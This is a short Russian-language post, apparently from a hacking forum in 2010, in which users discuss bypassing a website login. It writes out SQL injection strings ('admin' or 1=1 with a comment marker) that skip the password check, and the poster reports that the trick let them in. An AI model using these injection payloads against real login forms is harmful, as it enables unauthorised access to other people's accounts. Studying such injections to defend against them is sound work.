16.03.2010, 22:59
|
|
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме:
2459557
Репутация:
606
|
|
Сообщение от Seravin
поидее да, если пароль верный, и админ первый в таблице. А закомментить строку так можно?
Код:
select * from users where login='admin' or 1=1+--+'
если да, то зайдёшь под логином первого из результата select * from users (обычно админ)
Да, комменты я пробовал - не получалось. Неправильно делал.
Я забыл про закрывающую кавычку и камент, сделал так
select * from users where login=' admin' or 1='1' -- and passwd='202cb962ac59075b964b07152d234b70'
пустило.
|
|
|